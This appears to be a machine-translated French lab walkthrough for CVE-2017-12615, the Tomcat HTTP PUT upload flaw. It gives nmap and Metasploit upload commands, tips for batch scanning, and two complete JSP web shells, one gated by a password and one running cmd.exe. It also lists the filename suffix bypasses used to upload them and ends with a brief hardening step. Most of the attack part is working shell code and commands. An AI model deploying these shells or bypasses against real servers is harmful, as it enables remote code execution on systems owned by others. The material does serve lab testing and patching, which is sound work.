table des matières
Description de la vulnérabilité
Une vulnérabilité a été découverte dans Tomcat. Dans cette vulnérabilité, si le contexte de servlet est configuré comme readonly = false et que les requêtes HTTP PUT sont autorisées, l'attaquant peut télécharger des fichiers JSP dans le contexte et implémenter l'exécution de code.
Version impact
tomcat 7.0.0 à 7.0.79
Construction de l'environnement de vulnérabilité
Utilisez vulhub pour démarrer directement l'environnement avec un environnement CVE-2017-12615 clé
Démarrage rapide de Docker et construction de l'environnement de vulnérabilité
Après avoir téléchargé et installé vulhub, entrez dans le /tomcat/CVE-2017-12615
répertoire et exécutez la commande suivante
docker-compose up -d
Ensuite, vérifiez l'adresse IP actuelle de la machine virtuelle et visitez le port 8080, la page tomcat apparaîtra
Détection de vulnérabilité
Remarque: Si nous utilisons le protocole put pour créer un fichier cible qui existe déjà, alors ce fichier sera écrasé. En combat réel, vous ne devez pas le mettre dans l'index ou dans un fichier existant pour le test.
nmap
commander:
#nmap -p <端口> <ip> --script http-put --script-args http-put.url="<上载到服务器的本地文件的完整路径>",http-put.file='<将文件存储到的远程目录和文件名>'
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/test1.txt",http-put.file='E:\1.txt'
J'ai créé un nouveau 1.txt sous mon disque E, le contenu est:test put
L'invite successfully created
indique que le téléchargement est réussi, nous accédons manuellement
msf
msfconsole
search http_put
use auxiliary/scanner/http/http_put
set filedata 'test put111'
set filename test1.txt
set rhosts 192.168.234.138
set rport 8080
show options
Après le réglage, exécutez, un signe plus sera invité pour indiquer que le téléchargement est réussi
Contrôle par lots
- règles d'analyse IP namp ou utilisez les paramètres -iL pour la détection de lots
La détection par lots de msf n'est pas très stable. Je ne peux pas faire de détection par lots, mais une seule adresse IP peut le faire. Il n'est pas recommandé d'utiliser msf.
Exploit
Cheval de Troie Linux à une phrase:
# cmd2.jsp
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
Cheval de Troie Windows une phrase:
#windowscmd.jsp
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
Le tomcat par défaut n'autorise pas non plus PUT à télécharger des fichiers jsp et jspx, car le backend est utilisé org.apache.jasper.servlet.JspServlet
pour traiter les demandes de suffixe jsp ou jspx, et il n'y a pas de logique pour le téléchargement PUT dans JspServlet, et l'implémentation du code de PUT n'existe que dans DefaultServlet.
La cause première de cette vulnérabilité est de contourner la détection de tomcat en construisant un nom de suffixe spécial et de le laisser utiliser la logique de DefaultServlet pour traiter la demande, téléchargeant ainsi le fichier jsp.
Il existe actuellement trois méthodes principales:
- evil.jsp% 20
- evil.jsp :: $ DATA
- evil.jsp /
Nous devons également modifier le nom du fichier à contourner lors du téléchargement de put
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/cmd.jsp/",http-put.file='E:\1.txt'
Accéder aux fichiers Trojan:
Durcissement de la vulnérabilité
Modifiez le fichier conf / web.xml dans le répertoire tomcat, recherchez readonly
l' false
ensembletrue